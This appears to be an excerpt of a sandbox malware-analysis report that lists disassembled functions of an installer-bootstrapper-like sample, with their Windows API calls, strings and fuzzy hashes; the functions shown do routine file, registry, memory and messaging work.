Instruction Fuzzy Hash: E111CA72900269ABC311CAAB9D84AAFBA6CFBC5760B014624FD01DB140E7B1BD40C9E0

Function 009A120A Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 62COMMON

Download Yara Rule

APIs

CommandLineToArgvW.SHELL32(00000000,00000000,00000000,00000000,00000000,00000000,ignored ,00000000,?,00000000,?,?,?,009A523F,00000000,?), ref: 009A1248
GetLastError.KERNEL32(?,?,?,009A523F,00000000,?,?,00000003,00000000,00000000,?,?,?,?,?,?), ref: 009A1252

Strings

ignored , xrefs: 009A1217
apputil.cpp, xrefs: 009A1273

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: ArgvCommandErrorLastLine
String ID: apputil.cpp$ignored
API String ID: 3459693003-568828354
Opcode ID: f0783ff1deaa71a8b45092071affce8be6a36c9c2b6bb91641cde075c8288d33
Instruction ID: 1c53073fdfef4878cb39aa049974b0a9829370a0d2d11ade62c7b11d3603508b
Opcode Fuzzy Hash: f0783ff1deaa71a8b45092071affce8be6a36c9c2b6bb91641cde075c8288d33
Instruction Fuzzy Hash: 69113D76901629AB8B21DBD9C845E9FBBACAF86B50F114155FD14EB250EA30DE00DAE0

Function 009CD1B3 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 58synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,000000FF,00000002,00000000,?,?,009CD3EE,00000000,00000000,00000000,?), ref: 009CD1C3
ReleaseMutex.KERNEL32(?,?,009CD3EE,00000000,00000000,00000000,?), ref: 009CD24A

Part of subcall function 009A394F: GetProcessHeap.KERNEL32(?,000001C7,?,009A2274,000001C7,00000001,80004005,8007139F,?,?,009E0267,8007139F,?,00000000,00000000,8007139F), ref: 009A3960
Part of subcall function 009A394F: RtlAllocateHeap.NTDLL(00000000,?,009A2274,000001C7,00000001,80004005,8007139F,?,?,009E0267,8007139F,?,00000000,00000000,8007139F), ref: 009A3967

Strings

Failed to allocate memory for message data, xrefs: 009CD212
NetFxChainer.cpp, xrefs: 009CD208

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: Heap$AllocateMutexObjectProcessReleaseSingleWait
String ID: Failed to allocate memory for message data$NetFxChainer.cpp
API String ID: 2993511968-1624333943
Opcode ID: fe179ccdc19c08c219113c98971e052584afae5c03049042a7d09cadd59aa6af
Instruction ID: 2473bc48f96d47792a7cff6bfb1b75c347e9c8ed21358f099acbc05219b7153a
Opcode Fuzzy Hash: fe179ccdc19c08c219113c98971e052584afae5c03049042a7d09cadd59aa6af
Instruction Fuzzy Hash: EF116DB1200215AFCB159F68E885F5AB7E5FF49720F104169F9249B3A1C771AC10CBA4

Function 009A1F69 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 55windowCOMMON

Download Yara Rule

APIs

FormatMessageW.KERNEL32(009A428F,009A548E,?,00000000,00000000,00000000,?,80070656,?,?,?,009BE75C,00000000,009A548E,00000000,80070656), ref: 009A1F9A
GetLastError.KERNEL32(?,?,?,009BE75C,00000000,009A548E,00000000,80070656,?,?,009B40BF,009A548E,?,80070656,00000001,crypt32.dll), ref: 009A1FA7
LocalFree.KERNEL32(00000000,?,00000000,00000000,?,?,?,009BE75C,00000000,009A548E,00000000,80070656,?,?,009B40BF,009A548E), ref: 009A1FEE

Strings

strutil.cpp, xrefs: 009A1FCB

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: ErrorFormatFreeLastLocalMessage
String ID: strutil.cpp
API String ID: 1365068426-3612885251
Opcode ID: 3c64dfe58b130bd5f17cd3158a9752896082c35b9baae8dae1509c4b41754e2b
Instruction ID: 9363dcaac811201757569bd510726835e4a75605849ca3b803cdefc60be7ae43
Opcode Fuzzy Hash: 3c64dfe58b130bd5f17cd3158a9752896082c35b9baae8dae1509c4b41754e2b
Instruction Fuzzy Hash: 0B016DB691512ABFDB208FD5CC09ADFBAACEB05755F114165BE04EB250E7349E009AE0

Function 009B0721 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 50registryCOMMON

Download Yara Rule

APIs

Part of subcall function 009E0F6C: RegOpenKeyExW.KERNELBASE(00000000,00000000,00000000,00000000,00000001,00A0AAA0,00000000,?,009E57E1,80000002,00000000,00020019,00000000,SOFTWARE\Policies\,00000000,00000000), ref: 009E0F80

RegCloseKey.ADVAPI32(00000000,00000001,00000000,00000000,00000001,00000000,00000001,00000000,?,?,00020006,00000000,00000001,00000000), ref: 009B0791

Strings

Failed to open registration key., xrefs: 009B0748
Failed to update resume mode., xrefs: 009B0762
Failed to update name and publisher., xrefs: 009B077B

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: CloseOpen
String ID: Failed to open registration key.$Failed to update name and publisher.$Failed to update resume mode.
API String ID: 47109696-1865096027
Opcode ID: c325c9278a697f56cb72cbc661b755c5d86624cd6d9b5c38131cb06761bf59b0
Instruction ID: 138f0d3b1737aa35dca68e3e905cb6a47ea1c44064f787fbd08c6f95aeea6737
Opcode Fuzzy Hash: c325c9278a697f56cb72cbc661b755c5d86624cd6d9b5c38131cb06761bf59b0
Instruction Fuzzy Hash: 8901D83294022CF7CB125685DD82BEFB669AB80B30F100155FA00B6150CB71BE50ABD0

Function 009E4DB3 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 50fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(009EB500,40000000,00000001,00000000,00000002,00000080,00000000,009B04BF,00000000,?,009AF4F4,?,00000080,009EB500,00000000), ref: 009E4DCB
GetLastError.KERNEL32(?,009AF4F4,?,00000080,009EB500,00000000,?,009B04BF,?,00000094,?,?,?,?,?,00000000), ref: 009E4DD8
CloseHandle.KERNEL32(00000000,00000000,?,009AF4F4,?,009AF4F4,?,00000080,009EB500,00000000,?,009B04BF,?,00000094), ref: 009E4E2C

Strings

fileutil.cpp, xrefs: 009E4DFC

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: CloseCreateErrorFileHandleLast
String ID: fileutil.cpp
API String ID: 2528220319-2967768451
Opcode ID: 8351797b38657e9ac2e227a062e7dab957261036affa531cf80f54b25eb6f787
Instruction ID: d3854f1484d4c51bde19dcca2aadbf413741a206846494f61e1f53cf26f99995
Opcode Fuzzy Hash: 8351797b38657e9ac2e227a062e7dab957261036affa531cf80f54b25eb6f787
Instruction Fuzzy Hash: 3C01F733641165B7D7335A6A9C45F5F3A58BB81B71F024314FF20AB1E1D7709C1196E0

Function 009E497A Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 49fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(00000000,00000080,00000001,00000000,00000003,00000080,00000000,000002C0,00000000,?,009C8C76,00000000,00000088,000002C0,BundleCachePath,00000000), ref: 009E49AE
GetLastError.KERNEL32(?,009C8C76,00000000,00000088,000002C0,BundleCachePath,00000000,000002C0,BundleVersion,000000B8,000002C0,EngineVersion,000002C0,000000B0), ref: 009E49BB

Strings

fileutil.cpp, xrefs: 009E498F, 009E49DF

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: CreateErrorFileLast
String ID: fileutil.cpp
API String ID: 1214770103-2967768451
Opcode ID: 02517e4513b4531817fa525c537e1ea6997975f500d1e5c2bf332e36f9d485a3
Instruction ID: 9a96fccf2b4ba721c14ad24b9cc0aa2b7f004e8c773a82c6c7d6b76dc5fb152a
Opcode Fuzzy Hash: 02517e4513b4531817fa525c537e1ea6997975f500d1e5c2bf332e36f9d485a3
Instruction Fuzzy Hash: EF01D633680178B7D72226D66C4AFBB255CBB41FB1F124221FF55BE1D1C7695D1052E0

Function 009C6BEB Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 49serviceCOMMON

Download Yara Rule

APIs

ControlService.ADVAPI32(009C6AFD,00000001,?,00000001,00000000,?,?,?,?,?,?,009C6AFD,00000000), ref: 009C6C13
GetLastError.KERNEL32(?,?,?,?,?,?,009C6AFD,00000000), ref: 009C6C1D

Strings

Failed to stop wusa service., xrefs: 009C6C4B
msuengine.cpp, xrefs: 009C6C41

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: ControlErrorLastService
String ID: Failed to stop wusa service.$msuengine.cpp
API String ID: 4114567744-2259829683
Opcode ID: c2323ec768b75828d6d26d9dac438dfa9f46ca18c9a43e91ef560637c579f854
Instruction ID: dd3ad274736f375e013431db40cb7b97c4f643d3a446aae4c420bb05211da98b
Opcode Fuzzy Hash: c2323ec768b75828d6d26d9dac438dfa9f46ca18c9a43e91ef560637c579f854
Instruction Fuzzy Hash: 1F01AC33E4522C67D720DBA59C46FAB77A8EB48720F014129FE51AB180DA649D0156E5

Function 009E39AF Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 48memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(?), ref: 009E39F4
SysFreeString.OLEAUT32(00000000), ref: 009E3A27

Strings

`<u, xrefs: 009E3A27
xmlutil.cpp, xrefs: 009E39C5, 009E3A0B

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: String$AllocFree
String ID: `<u$xmlutil.cpp
API String ID: 344208780-3482516102
Opcode ID: cb8c9ad425f3678104319d98c4b528f293c5e032bbc4dcd2a60c0f8a7c20b284
Instruction ID: 33d523f716382c5bbe6fc68f999ab38a55d93c05e975646ac01db8705e00b418
Opcode Fuzzy Hash: cb8c9ad425f3678104319d98c4b528f293c5e032bbc4dcd2a60c0f8a7c20b284
Instruction Fuzzy Hash: F301DF31644295BBD7220A9BD80DF7B32DCEF46760F108435B840AB342C7B8CE0092A0

Function 009E3929 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 48memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(?), ref: 009E396E
SysFreeString.OLEAUT32(00000000), ref: 009E39A1

Strings

`<u, xrefs: 009E39A1
xmlutil.cpp, xrefs: 009E393F, 009E3985

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: String$AllocFree
String ID: `<u$xmlutil.cpp
API String ID: 344208780-3482516102
Opcode ID: e992c74f17db932d6739d2fcfd28662dd9265d30c0bf374813866b53da71bc84
Instruction ID: 5650445a0142942a50cbb62deb9b28c249979719db50ba8adb69e8a14841683e
Opcode Fuzzy Hash: e992c74f17db932d6739d2fcfd28662dd9265d30c0bf374813866b53da71bc84
Instruction Fuzzy Hash: 0201A735245295EBD7221A9ACC09F7B36DCAF41B60F108535FD50EB342C7B4CD005691

Function 009E68B0 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 46COMMON

Download Yara Rule

APIs

SysFreeString.OLEAUT32(?), ref: 009E690F

Part of subcall function 009E8713: SystemTimeToFileTime.KERNEL32(?,00000000,00000000,clbcatq.dll,00000000,clbcatq.dll,00000000,00000000,00000000), ref: 009E8820
Part of subcall function 009E8713: GetLastError.KERNEL32 ref: 009E882A

Strings

atomutil.cpp, xrefs: 009E68FD
clbcatq.dll, xrefs: 009E68DC
`<u, xrefs: 009E690F

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: Time$ErrorFileFreeLastStringSystem
String ID: `<u$atomutil.cpp$clbcatq.dll
API String ID: 211557998-1658759192
Opcode ID: a3ff47ac83b339d6b632a93c294cf56bffa986a3adaf7ccd07ffd22d75841e5f
Instruction ID: 07888d465538b7f6ff60bcfdb37fa4b0597525e3784aaf5b8f0a601a367d3eed
Opcode Fuzzy Hash: a3ff47ac83b339d6b632a93c294cf56bffa986a3adaf7ccd07ffd22d75841e5f
Instruction Fuzzy Hash: CB01D6B19012AAFB8B229FCBC84185AFBA8FF243A4B60817AF514A7111D3315E10D7D0

Function 009BECC5 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 39threadwindowCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(?,00009002,00000000,?), ref: 009BECED
GetLastError.KERNEL32 ref: 009BECF7

Strings

Failed to post elevate message., xrefs: 009BED25
EngineForApplication.cpp, xrefs: 009BED1B

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: ErrorLastMessagePostThread
String ID: EngineForApplication.cpp$Failed to post elevate message.
API String ID: 2609174426-4098423239
Opcode ID: 22d96bd2b37110cdd5d3ca49997d4ad98769f038f46a5c403cc0c27283cfb49d
Instruction ID: e2cb370091e71b0931201f5b59f11b09045ce5e84e48f4abd7d9114bc19ad320
Opcode Fuzzy Hash: 22d96bd2b37110cdd5d3ca49997d4ad98769f038f46a5c403cc0c27283cfb49d
Instruction Fuzzy Hash: 8FF0F633A40235ABC7215A999D09BD77B8CBF80B30B218228FF24AF1D1D7A5DC0183D0

Function 009AD8DC Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 37libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(?,BootstrapperApplicationDestroy), ref: 009AD903
FreeLibrary.KERNEL32(?,?,009A48D7,00000000,?,?,009A548E,?,?), ref: 009AD912
GetLastError.KERNEL32(?,009A48D7,00000000,?,?,009A548E,?,?), ref: 009AD91C

Strings

BootstrapperApplicationDestroy, xrefs: 009AD8FB

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: AddressErrorFreeLastLibraryProc
String ID: BootstrapperApplicationDestroy
API String ID: 1144718084-3186005537
Opcode ID: 13d4d1e871fa2ec1082917732594f957fdf3b6c73616969d56204a732d4c3fb1
Instruction ID: 1fcba88ac8ca15a624df4e5003e853a326a65ef17fc0b3d166e0ac2ec39eea5a
Opcode Fuzzy Hash: 13d4d1e871fa2ec1082917732594f957fdf3b6c73616969d56204a732d4c3fb1
Instruction Fuzzy Hash: 8FF06832612626ABC7214F69D804B27F7A8BF457627058229E815D6921D761EC10DBD0

Function 009E31EB Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 35memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(?), ref: 009E3200
SysFreeString.OLEAUT32(00000000), ref: 009E3230

Strings

`<u, xrefs: 009E3230
xmlutil.cpp, xrefs: 009E3214

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: String$AllocFree
String ID: `<u$xmlutil.cpp
API String ID: 344208780-3482516102
Opcode ID: cf436e36e9c23c39c0847983a78e6700f8b93204d4189c1bd25bb088e58c1dc2
Instruction ID: ad2150408a5f9890b044a002279ffb22976ab6dacc06152ae5172fdbd30a3dd9
Opcode Fuzzy Hash: cf436e36e9c23c39c0847983a78e6700f8b93204d4189c1bd25bb088e58c1dc2
Instruction Fuzzy Hash: E0F0BE311026D6ABC7320F86EC0CF6B77A8AB81B60F258429FD646B311C7758E1096E0

Function 009E3498 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 35memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(?), ref: 009E34AD
SysFreeString.OLEAUT32(00000000), ref: 009E34DD

Strings

`<u, xrefs: 009E34DD
xmlutil.cpp, xrefs: 009E34C4

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: String$AllocFree
String ID: `<u$xmlutil.cpp
API String ID: 344208780-3482516102
Opcode ID: 571a619d632cb4052c813d19d0c50ec59b15052189b1f9db70006bcfae91cc31
Instruction ID: 3682327e7fd5a9057c209f4e2316afcb5881bf841bc5aedd1fb736197d2bd1ab
Opcode Fuzzy Hash: 571a619d632cb4052c813d19d0c50ec59b15052189b1f9db70006bcfae91cc31
Instruction Fuzzy Hash: FDF0B431241295ABC7331F46EC0CE6B77A8AB81B60F108516FC145F2A0D775DE1096E0

Function 009BF2D9 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 34threadwindowCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(?,00009001,00000000,?), ref: 009BF2EE
GetLastError.KERNEL32 ref: 009BF2F8

Strings

EngineForApplication.cpp, xrefs: 009BF31C
Failed to post plan message., xrefs: 009BF326

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: ErrorLastMessagePostThread
String ID: EngineForApplication.cpp$Failed to post plan message.
API String ID: 2609174426-2952114608
Opcode ID: 2655134ebcd6b0b55731359cd89ce38b6fe4e371da8ec6b4c9a7c1dd5b4aace0
Instruction ID: 9a2072d2545be17ec3d407237b8c4987e31ac0919094e4792243ccee3b00dd83
Opcode Fuzzy Hash: 2655134ebcd6b0b55731359cd89ce38b6fe4e371da8ec6b4c9a7c1dd5b4aace0
Instruction Fuzzy Hash: 56F0EC336552356BD63126E65D0AF8B7FC8EF44BF0B014021FF54AF191E665DC0082D0

Function 009BF3E7 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 34threadwindowCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(?,00009005,?,00000000), ref: 009BF3FC
GetLastError.KERNEL32 ref: 009BF406

Strings

Failed to post shutdown message., xrefs: 009BF434
EngineForApplication.cpp, xrefs: 009BF42A

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: ErrorLastMessagePostThread
String ID: EngineForApplication.cpp$Failed to post shutdown message.
API String ID: 2609174426-188808143
Opcode ID: 4fd44f304a8908bbc6023d9bc59c7b41917a8490983f02296d2d31ecc7ca941e
Instruction ID: 281e5d33a47a906dbf42dd463ac43a55893b8cffd7b2231cb0f7e18e01cc56f2
Opcode Fuzzy Hash: 4fd44f304a8908bbc6023d9bc59c7b41917a8490983f02296d2d31ecc7ca941e
Instruction Fuzzy Hash: A1F0A73365523567C63116D66C0EF877B98AF44B70B014025BF14BF1A2E6549C0086D0

Function 009C07B5 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

SetEvent.KERNEL32(009EB478,00000000,?,009C1717,?,00000000,?,009AC287,?,009A5405,?,009B75A5,?,?,009A5405,?), ref: 009C07BF
GetLastError.KERNEL32(?,009C1717,?,00000000,?,009AC287,?,009A5405,?,009B75A5,?,?,009A5405,?,009A5445,00000001), ref: 009C07C9

Strings

Failed to set begin operation event., xrefs: 009C07F7
cabextract.cpp, xrefs: 009C07ED

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: ErrorEventLast
String ID: Failed to set begin operation event.$cabextract.cpp
API String ID: 3848097054-4159625223
Opcode ID: 2ef0e9ffbe6f337a19457ef8fc89b190e3fcedfefee15444e50ab55997ee543e
Instruction ID: b81f72b2ab5bbb337087d379b518b955df419745e0c5e6dec8d7544397747540
Opcode Fuzzy Hash: 2ef0e9ffbe6f337a19457ef8fc89b190e3fcedfefee15444e50ab55997ee543e
Instruction Fuzzy Hash: 21F05C37E42235A7822012954C05F8F7A889F81BB0F014039FF14BB241E614AC10C2E6

Function 009BEBCB Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 34threadwindowCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(?,00009003,00000000,?), ref: 009BEBE0
GetLastError.KERNEL32 ref: 009BEBEA

Strings

Failed to post apply message., xrefs: 009BEC18
EngineForApplication.cpp, xrefs: 009BEC0E

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
